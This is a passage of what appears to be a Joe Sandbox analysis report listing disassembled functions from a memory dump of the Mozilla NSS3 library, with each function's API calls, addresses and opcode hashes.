Part of subcall function 6CB004A0: memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,00000000), ref: 6CB0050A
Part of subcall function 6CB004A0: memcmp.VCRUNTIME140(?,00000000,?), ref: 6CB00545

Part of subcall function 6CB052E0: PORT_NewArena_Util.NSS3(00000400,6CB04A57,?,00000000), ref: 6CB052F7
Part of subcall function 6CB052E0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CBC301C,6CB04A57,?,6CB04A57,?,00000000), ref: 6CB05312
Part of subcall function 6CB052E0: CERT_FindCertByIssuerAndSN.NSS3(?,?,?,?,?,?,?,6CB04A57,?,00000000), ref: 6CB05327
Part of subcall function 6CB052E0: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,6CB04A57,?,00000000), ref: 6CB05334

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Find$Arena_CertIssuermemcmp$CertificateCurrentDecodeDestroyErrorFreeItem_MimeProfileQuickSaveTag_Thread
String ID:
API String ID: 3052039812-0
Opcode ID: 9eb703308835cfbe967f56ebf52540aabafb73fa54b7e707c6a6061140100769
Instruction ID: 04fc467ea57ba2d2559c64105d60cd50468cc0a6097e5b894b57b245c9a4660a
Opcode Fuzzy Hash: 9eb703308835cfbe967f56ebf52540aabafb73fa54b7e707c6a6061140100769
Instruction Fuzzy Hash: 0231F8B1F012905BEB009E75AD41B6B3EA8DF2131DF150178EC14ABB42EB35C849CBA6

Function 6CAD6AE0 Relevance: 7.6, APIs: 6, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CAD6943
Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CAD6957
Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CAD6972
Part of subcall function 6CAD6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CAD6983
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CAD69AA
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CAD69BE
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CAD69D2
Part of subcall function 6CAD6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CAD69DF
Part of subcall function 6CAD6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CAD6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?,00000000,00000000), ref: 6CAD6B66
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?,00000000,00000000), ref: 6CAD6B88
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?,00000000,00000000), ref: 6CAD6BAF
free.MOZGLUE(00000000,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?,00000000,00000000), ref: 6CAD6BE6
free.MOZGLUE(?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?,00000000,00000000), ref: 6CAD6BF7
free.MOZGLUE(6CAD781D,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?,00000000,00000000), ref: 6CAD6C08

Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAD781D,00000000,6CACBE2C,?,6CAD6B1D,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C40
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?), ref: 6CAD6C58
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C6F
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAD6C84
Part of subcall function 6CAD6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAD6C96
Part of subcall function 6CAD6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAD6CAA

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strcmpstrncmp$FlagL_strncasecmpfree$Strip$ParameterSecureSkip
String ID:
API String ID: 3779992554-0
Opcode ID: 6c97a6347a84ddb0567dcc3d9bc3c3c573b5fb5002761e3162ad3889e09f658f
Instruction ID: 3a8a3c4472dd7de52b787a17fba3d60db08cc505daa7c5d00b364c18e98b46d9
Opcode Fuzzy Hash: 6c97a6347a84ddb0567dcc3d9bc3c3c573b5fb5002761e3162ad3889e09f658f
Instruction Fuzzy Hash: 30416F75E443199BEF00CEA5D940BEEB7B8AF09348F1A0925D814E7740E735F994CBA1

Function 6CAE4B00 Relevance: 7.6, APIs: 5, Instructions: 119stringCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,-00000001,00000000,?,?,6CAD7B3B,00000000,?,?,00000000), ref: 6CAE4BA3

Part of subcall function 6CAE8970: TlsGetValue.KERNEL32(?,00000000,6CA961C4,?,6CA95639,00000000), ref: 6CAE8991
Part of subcall function 6CAE8970: TlsGetValue.KERNEL32(?,?,?,?,?,6CA95639,00000000), ref: 6CAE89AD
Part of subcall function 6CAE8970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CA95639,00000000), ref: 6CAE89C6
Part of subcall function 6CAE8970: PR_WaitCondVar.NSS3 ref: 6CAE89F7
Part of subcall function 6CAE8970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CA95639,00000000), ref: 6CAE8A0C

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CAE4B44
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CAE4B7E
SECMOD_DestroyModule.NSS3(00000000), ref: 6CAE4C44
free.MOZGLUE(?), ref: 6CAE4C54

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Valuestrcmp$CondCriticalDestroyEnterErrorModuleSectionUnlockWaitfree
String ID:
API String ID: 3094473128-0
Opcode ID: 6fd879ffebeb702bacf7002eb1a9f7744f1f10253770368e5eeb95ae1b4e4cef
Instruction ID: 4bceff8f551da50c97ca50f12786a23d1deb28ed0f3fa226698f84e1cce00e91
Opcode Fuzzy Hash: 6fd879ffebeb702bacf7002eb1a9f7744f1f10253770368e5eeb95ae1b4e4cef
Instruction Fuzzy Hash: 3D41F4B6A002149BEB109F99EC0075AB3BCEF4831CF184124E92997B00E331F894EBD2

Function 6CBAAA70 Relevance: 7.6, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBAAA86

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Part of subcall function 6CBAA690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CBAA662), ref: 6CBAA69E
Part of subcall function 6CBAA690: PR_NewCondVar.NSS3(?), ref: 6CBAA6B4

PR_IntervalNow.NSS3 ref: 6CBAAAEC
EnterCriticalSection.KERNEL32(?), ref: 6CBAAB0A
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CBAAB67
_PR_MD_UNLOCK.NSS3(?), ref: 6CBAAB8B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CondCriticalEnterErrorIntervalSectionValuecalloc
String ID:
API String ID: 318662135-0
Opcode ID: eb33c1b762d1cd64d82e9e17983fe7596f72f37b606f1632c0b540dcc6608acd
Instruction ID: be1ec95274681ed9680b66e1c3238a12c86832fd262a29bfadfb9d6d6d3718e8
Opcode Fuzzy Hash: eb33c1b762d1cd64d82e9e17983fe7596f72f37b606f1632c0b540dcc6608acd
Instruction Fuzzy Hash: 49418FB4A043458FC750DFA8C8C054EB7F6FF48318B68456AE8598BB01E730E856CFA1

Function 6CA8EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA8EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CA8EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CA8EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA8EEEB
free.MOZGLUE(?), ref: 6CA8EEF6

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: ed38839f53aedc0045a3e9d8259034026721605a9c5c267bd7c026aca7880908
Instruction ID: e7ca632e64b5089453ff9499ea1ed0843f11949181bb4bc80aa26fe9ba1b787d
Opcode Fuzzy Hash: ed38839f53aedc0045a3e9d8259034026721605a9c5c267bd7c026aca7880908
Instruction Fuzzy Hash: 2C31F575A01250EBEB209F2CDC44B667BB4FB46744F180529E86A87B50D731E894CBE1

Function 6CA944D0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3 ref: 6CA944FF

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

SECOID_FindOID_Util.NSS3(?), ref: 6CA94524
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA94537
CERT_AddExtensionByOID.NSS3(00000001,?,?,?,00000001), ref: 6CA94579

Part of subcall function 6CA941B0: PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CA941BE
Part of subcall function 6CA941B0: PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CA941E9
Part of subcall function 6CA941B0: SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CA94227
Part of subcall function 6CA941B0: SECITEM_CopyItem_Util.NSS3(?,-00000018,?), ref: 6CA9423D

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA9459C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Error$Alloc_ArenaCopyFindHashItem_LookupTable$ConstEqual_ExtensionItems
String ID:
API String ID: 3193526912-0
Opcode ID: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction ID: 173a5bd75ea3ba11517839386dae15776a6672b7472d9f84fe33f5c3904e0104
Opcode Fuzzy Hash: ebf86faa50ffcf2ec35f4368ae81f486fcdccb540a5d46777f353d11653d57bb
Instruction Fuzzy Hash: 3421D6B16616109BEB10CAA99C46B6B37E89F4565CF180428BC39CBB51EB21ED84C6A1

Function 6CA96AF0 Relevance: 7.6, APIs: 5, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(00000000,6CA9B21D,00000000,00000000,6CA9B219,?,6CA96BFB,00000000,?,00000000,00000000,?,?,?,6CA9B21D), ref: 6CA96B01

Part of subcall function 6CAEFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CAEFE08
Part of subcall function 6CAEFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CAEFE1D
Part of subcall function 6CAEFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CAEFE62

PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,6CA9B219,?,6CA96BFB,00000000,?,00000000,00000000,?,?,?,6CA9B21D), ref: 6CA96B36
PORT_ArenaAlloc_Util.NSS3(00000000,00000030), ref: 6CA96B47
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA96B8A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000004,?,0000001C), ref: 6CA96BB6

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Item_$DecodeQuick$Errormemcpy
String ID:
API String ID: 1773792728-0
Opcode ID: 65339f48f7b2979c92e02c6a3eea8d3d17a5495665aea4e25dac458ffaa12957
Instruction ID: bf2cc1f8d589746eca661734bf40858b7b3b6bf55523a94a800eff47944d22b4
Opcode Fuzzy Hash: 65339f48f7b2979c92e02c6a3eea8d3d17a5495665aea4e25dac458ffaa12957
Instruction Fuzzy Hash: 3421F1329613145BEB108F64DE41FAA7BE8DF46398F084629EC08D7B51F731EA948BD0

Function 6CB04BB0 Relevance: 7.6, APIs: 5, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,C083F089), ref: 6CB04BDD

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,C083F089), ref: 6CB04C03

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,C083F089), ref: 6CB04C15
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,C083F089), ref: 6CB04C3E

Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CAEF0C8
Part of subcall function 6CAEF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAEF122

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,C083F089), ref: 6CB04C85

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_$ArenaFree$Value$Alloc_AllocateCriticalEncodeEnterInitItem_LockPoolSectionUnlockcallocmemset
String ID:
API String ID: 227267669-0
Opcode ID: 2c53c3978446b57e7110244f16593bcbc6047f76ab7dfb905ecc1d4f709905de
Instruction ID: cd4d8a68036bb94aa4717f39fe3ead78855ead9349eb68b4cf2bfd3195806996
Opcode Fuzzy Hash: 2c53c3978446b57e7110244f16593bcbc6047f76ab7dfb905ecc1d4f709905de
Instruction Fuzzy Hash: 2B21D5B3B002517BFB200E65AC41BAB3E98DB5536CF140134FD2897791F771E9188AD6

Function 6CB068A0 Relevance: 7.6, APIs: 5, Instructions: 79COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CB068B4

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_MillisecondsToInterval.NSS3(?), ref: 6CB068E6
PR_MillisecondsToInterval.NSS3(?), ref: 6CB06938
PR_MillisecondsToInterval.NSS3(?), ref: 6CB06986
PR_ExitMonitor.NSS3(?), ref: 6CB069BA

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: IntervalMillisecondsValue$CriticalEnterMonitorSection$ExitLeaveModulePageSize
String ID:
API String ID: 1802314673-0
Opcode ID: e32b146d0e41e950626bb702226bd7c4def3fe281e65c27e00e30fc994f9e158
Instruction ID: 50f1a504742d35a282cdf675219f1342d3449cd9f966427a651e6721bbf8ace0
Opcode Fuzzy Hash: e32b146d0e41e950626bb702226bd7c4def3fe281e65c27e00e30fc994f9e158
Instruction Fuzzy Hash: 54319375B01E81AFDB145B74ED087DABA74BF4A31AF040229DC2992A51D73478E8CED3

Function 6CA9AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CA93FFF,00000000,?,?,?,?,?,6CA91A1C,00000000,00000000), ref: 6CA9ADA7

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CA93FFF,00000000,?,?,?,?,?,6CA91A1C,00000000,00000000), ref: 6CA9ADB4

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CA93FFF,?,?,?,?,6CA93FFF,00000000,?,?,?,?,?,6CA91A1C,00000000), ref: 6CA9ADD5

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBB94B0,?,?,?,?,?,?,?,?,6CA93FFF,00000000,?), ref: 6CA9ADEC

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA93FFF), ref: 6CA9AE3C

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 0a5ef628d982680f90e9d1b92b97c65e72ca4af04d2bdb5148e06ce94d06173f
Instruction ID: dcb4448c97959110e2314e2c67c1ecc9666001a4e46a6ba2370b76fd08863b42
Opcode Fuzzy Hash: 0a5ef628d982680f90e9d1b92b97c65e72ca4af04d2bdb5148e06ce94d06173f
Instruction Fuzzy Hash: DF117B71E103285BE7109B649C42BBF73F8DF9524CF044229FC5996741FB20EA9D82E2

Function 6CAB8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C), ref: 6CAB8EA2

Part of subcall function 6CADF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CADF854
Part of subcall function 6CADF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CADF868
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CADF882
Part of subcall function 6CADF820: free.MOZGLUE(04C483FF,?,?), ref: 6CADF889
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CADF8A4
Part of subcall function 6CADF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CADF8AB
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CADF8C9
Part of subcall function 6CADF820: free.MOZGLUE(280F10EC,?,?), ref: 6CADF8D0

